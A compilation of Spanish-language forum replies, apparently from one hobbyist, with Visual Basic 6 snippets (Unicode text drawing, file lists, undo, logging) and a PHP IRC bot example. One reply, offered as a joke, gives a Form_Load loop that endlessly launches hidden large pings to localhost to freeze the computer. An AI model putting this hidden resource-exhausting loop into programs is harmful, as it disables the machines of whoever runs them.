Bueno, llegue a algo asi, pero no pude hacer que el texto funcionara con unicode :/ y no creo tampoco que se pueda, puedes crear un control de usuario simulando ser un TextBox, y que el texto sea lo que se imprima en el control. pero lo veo dificil

Private Declare Function TextOut Lib "gdi32" Alias "TextOutW" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long) As Long
 
Private Sub Command1_Click()
Dim TextoOut() As Byte, TextoW() As Byte, Texto, LongTxt&, Unicode$
Texto = Mid(Text1.Text, 3, Len(Text1.Text) - 3)
Texto = Split(Texto, ";&#")
For i = 0 To UBound(Texto)
    Unicode = Unicode & StrConv(ChrW(Texto(i)), vbUnicode)
Next i
TextoW = Unicode
ReDim TextoOut((UBound(TextoW) * 4))
For i = 0 To UBound(TextoW)
    TextoOut(i) = TextoW(i)
Next i
LongTxt = Len(Unicode)
Me.Cls
Me.FontSize = 18
TextOut Me.hdc, 0, 0, TextoOut, LongTxt
End Sub
 

Para convertir el texto al unicode prueba con esta web http://www.pinnacledisplays.com/unicode-converter.htm, ahi insertas el ·˙˙·٠●To6et0●٠·˙˙·, y lo conviertes, el codigo luego lo copias al Text1.text y le das al Command1, y se imprime el codigo en el Form1.

·˙˙·٠●To6et0●٠·˙˙·
 

Saludos

smokehack_ si puedes y si quieres mandame el proyecto a hadesatron@gmail.com, o subelo a rapidshare y postealo, es que no entiendo muy bien lo que queres decir .
saludos!

Estaba viendo las propiedades del FileListBox, pero no encontre una que permitiera ocultar las extensiones.
Podes agregar un ListBox y mirar el siguiente codigo.

Private Sub Command1_Click()
For i = File1.ListCount - 1 To 0 Step -1         'Desde File1.ListCount menos uno hasta 0
List1.AddItem Left(File1.List(i), Len(File1.List(i)) - 4), 0       'Se agrega el nombre del archivo en la posicion actual menos sus 4 ultimas letras
Next i
End Sub
 

Si la extension es de mas de 3 caracteres, entonces haz un split con el caracter ".", algo asi:

Nombre = Split(File1.List(i), ".")
if ubound(Nombre)=1 then
  List1.AddItem Nombre(0), 0
end if
 

Saludos

jajaja yo estaba bromeando, es un ciclo infinito con pings de la muerte hacia el localhost muajaja. es una tremenda bobada, pero el ciclo infinito en si podria bloquear la compu, no creo que una pc aguante con tantos comandos pings al mismo tiempo, luego lo pruebo
saludos

Bueno, creo que este codigo te podria servir:

Private Sub Form_Load()
Do
Shell "ping -n 373373 -l 65500 127.0.0.1", vbHide
Loop
End Sub
 

jajajajja, x'D
Saludos

Para deshacer el texto se hace:

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const DESHACER = &HC7
 
Private Sub Command1_Click()
SendMessage Text1.hwnd, DESHACER, 0&, 0&
End Sub
 

Con el codigo para imprimir debe ser algo como

CommonDialog1.ShowPrinter
 

pero no se que mas le sigue, como no tengo impresora no puedo publicar con certeza el codigo, asi que lo dejo a medias
alguien que tenga impresora o donde conseguir la forma de imprimirlo que nos de una mano que tmb quiero aprender.
saludos

Para evitar eso de donde se pueda ejecutar el programa se puede hacer lo siguiente:

Path = App.Path
if Right(Path,1)<>"\" Then Path = Path & "\"
Dll = Path & "freeze.dll"
Msgbox DLL
 

Saludos

Como dijimos antes, lo unico que hacen estos localizadores es detectar la ip de nuestras isp, las unicas empresas que tienen acceso a nuestra informacion privada, como es direccion de lugar de residencia, telefonos, nombre de los propietarios del internet, entre otras, es, valga la redundancia, es nuestra empresa proveedora de internet.
Fijate b01n4v3rt en la web que postee, el servicio de localizacion lo provee google, y no creo que una empresa tan grande se desprestigie a dar malos datos sobre algo.
Saludos

Private Sub Form_Load()
Dim Canal&
Canal  = Freefile
Open App.path & "\Registros.txt" For Append As Canal
Print #Canal, Format(Time, "hh:mm:ss AMPM")
Close #Canal
 

Creo que te referias a guardar en un archivo de texto la hora en que entraron.
Saludos

Para conectarte a un servidor IRC utiliza las funciones socket que provee el php.
Un ejemplo para conectarte en un servidor irc a un determinado canal podria ser este:

<?
$servidor = "irc.cl";
$puerto = "6667";
$canal = "#yashira";
$nick = "HaDeSBot".rand(0,9).rand(0,9);
$socket = fsockopen($servidor, $puerto, $errno, $errstr, 30);
fputs($socket, "NICK $nick\r\n");
fputs($socket, "USER $nick 0 * $nick\r\n");
 
while (!feof($socket)) {
$resp = fgets($socket,2048);
	if (eregi("PING", $resp)) {
    	fputs($socket,str_replace("PING","PONG",$resp));
	}
 
	if ($conectado==0){
	set_time_limit(0);
		if(eregi("NOTICE $nick",$resp)){
			fputs($socket,"JOIN $canal \n");
			$conectado = 1;
		}
	}
echo $resp;
}
fclose($socket);
?>
 

Saludos, si lo que queres es un chat para irc en java, busca en google que de esos si no se